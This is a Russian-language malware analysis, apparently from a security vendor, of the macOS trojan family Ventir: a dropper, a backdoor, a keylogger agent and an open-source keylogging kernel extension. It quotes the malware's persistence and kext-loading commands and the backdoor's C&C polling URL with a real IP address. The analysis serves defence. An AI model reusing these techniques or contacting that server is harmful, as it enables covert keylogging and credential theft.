Совсем недавно на анализ к нам попал интересный файл (MD5 9283c61f8cce4258c8111aaf098d21ee), оказавшийся многомодульным зловредом для MacOS X.
Уже по итогам предварительного изучения стало ясно, что ничего хорошего файл не делает: обычный 64-битный исполняемый mach-o файл содержал в секции данных еще несколько mach-o файлов, один из которых он ставил в автозагрузку, что характерно для троянцев-дропперов.
Дальнейшее исследование показало, что внутри зловреда скрываются бэкдор, кейлоггер и троянец-шпион. И особенно примечательно то, что кейлоггер использует расширение ядра с открытым исходным кодом, доступным каждому желающему, например, на GitHub!
В данный момент обнаруженные файлы в зависимости от их назначения детектируются антивирусными решениями как: Trojan-Dropper.OSX.Ventir.a, Backdoor.OSX.Ventir.a, Trojan-Spy.OSX.Ventir.a и not-a-virus:Monitor.OSX.LogKext.c.
Исходный файл (Trojan-Dropper.OSX.Ventir.a)
Сразу после запуска дроппер проверяет наличие у него прав суперпользователя с помощью вызова функции geteuid. От результата проверки зависит, куда будут установлены файлы троянца:
Все файлы троянца, которые будут загружены на зараженный компьютер, изначально располагаются в секции "__data" файла-дроппера.
В итоге в зараженную систему будут установлены следующие файлы:
А) если есть – /Library/.local/kext.tar. Далее архив распаковывается:
Б) если нет - ~/Library/.local/EventMonitor. Это агент, логирующий имя текущего активного окна и нажатые клавиши в файл Library/.local/.logfile
После установки перечисленных файлов, троянец ставит в автозапуск файл updated при помощи стандартной консольной утилиты launchctl (команда launchctl load %s/com.updated.launchagent.plist).
Далее, в случае наличия прав суперпользователя, дроппер загружает логирующий драйвер в ядро при помощи стандартной утилиты OSX kextload (команда kextload /System/Library/Extensions/updated.kext)
После этого Trojan-Dropper.OSX.Ventir.a запускает файл reweb и самоудаляется из системы.
Файлы updated и reweb
Файл updated завершает все процессы с именем reweb (команда killall -9 reweb). Далее он периодически проверяет, запущены ли процессы EventMonitor и update, и в случае необходимости заново запускает их.
Файл reweb завершает все процессы с именами updated и update, после чего запускает файл Library/.local/updated.
Файл update (Backdoor.OSX.Ventir.a)
В начале своей работы бэкдор распределяет значения полей из таблицы config базы данных libweb.db по локальным переменным для дальнейшего использования.
Для получения команд использует HTTP GET-запрос вида: http://220.175.13.250:82/macsql.php?mode=getcmd&key=1000&udid=000C29174BA0
где key – некий ключ, хранящийся в libweb.db в таблице config, udid – МАС-адрес, а 220.175.13.250:82 – IP-адрес и порт C&C сервера.
Данный запрос отправляется периодически с небольшим интервалом в бесконечном цикле.
Бэкдор умеет обрабатывать следующие команды от C&C:
Файл EventMonitor (Trojan-Spy.OSX.Ventir.a)
Этот файл загружается в систему, если дропперу не удается получить права суперпользователя. После запуска Trojan-Spy.OSX.Ventir.a устанавливает свой обработчик системных событий при помощи API функций Carbon Event Manager. В новом обработчике происходит перехват событий связанных с нажатием клавиш и их логирование в файл ~/Library/.local/.logfile. Кнопки-модификаторы (такие как, например, shift) попадают в лог в следующем виде: [command], [option], [ctrl], [fn], [ESC], [tab], [backspace] и т.д.
Также непосредственно перед обработкой нажатой клавиши происходит определение имени процесса, чье окно в данный момент является активным. Для этого используются функции GetFrontProcess и CopyProcessName из Carbon API. Имя процесса также заносится в лог в виде [Application {имя_процесса} is the frontwindow]. Благодаря этому хозяин троянца может определить, в каком именно приложении вводилась залогированная фраза.
Файл kext.tar (not-a-virus:Monitor.OSX.LogKext.c)
Как уже было сказано ранее, архив kext.tar загружается на зараженный компьютер, если троянцу Trojan-Dropper.OSX.Ventir удалось получить права суперпользователя. В архиве находятся три файла:
Программный пакет updated.kext является расширением ядра (kext) с открытым исходным кодом и предназначен для перехвата нажатий клавиш. Это расширение уже давно детектируется нами как not-a-virus:Monitor.OSX.LogKext.c, а его исходный код (как уже было сказано ранее) в данный момент доступен любому желающему.
Файл Keymap.plist - это карта соответствия кодов нажатых клавиш их значениям. Файл EventMonitor использует ее для определения значения клавиш по соответствующим кодам, передаваемых ему файлом updated.kext.
Файл EventMonitor – файл-агент, который принимает данные от расширения ядра updated.kext, обрабатывает их и заносит в лог-файл /Library/.local/.logfile. Вот, например, часть такого лога, содержащая перехваченный троянцем логин и пароль:
Как видно из скриншота, как только жертва заходит в браузере на сайт yandex.ru и вводит там логин и пароль от почтового аккаунта, эти данные тут же попадают в лог, а оттуда – в руки злоумышленников.
Эта угроза особенно актуальна на фоне случившихся совсем недавно утечек баз логинов и паролей от аккаунтов "Яндекса", Mail.ru и Gmail. Не исключено, что в наполнении этих баз приняли участие и зловреды семейства Ventir.
В завершение стоит отметить, что своей многомодульной структурой троянец Trojan-Dropper.OSX.Ventir.a напоминает небезызвестный Trojan.OSX.Morcut (он же OSX/Crisis), где было примерно такое же количество модулей с похожим назначением. Использование программного обеспечения с открытым исходным кодом существенно упрощает злоумышленникам задачу конструирования новых зловредов. Таким образом, можно предположить, что число троянцев-шпионов в дальнейшем будет только расти.
Axarhöfði 14,
110 Reykjavik, Iceland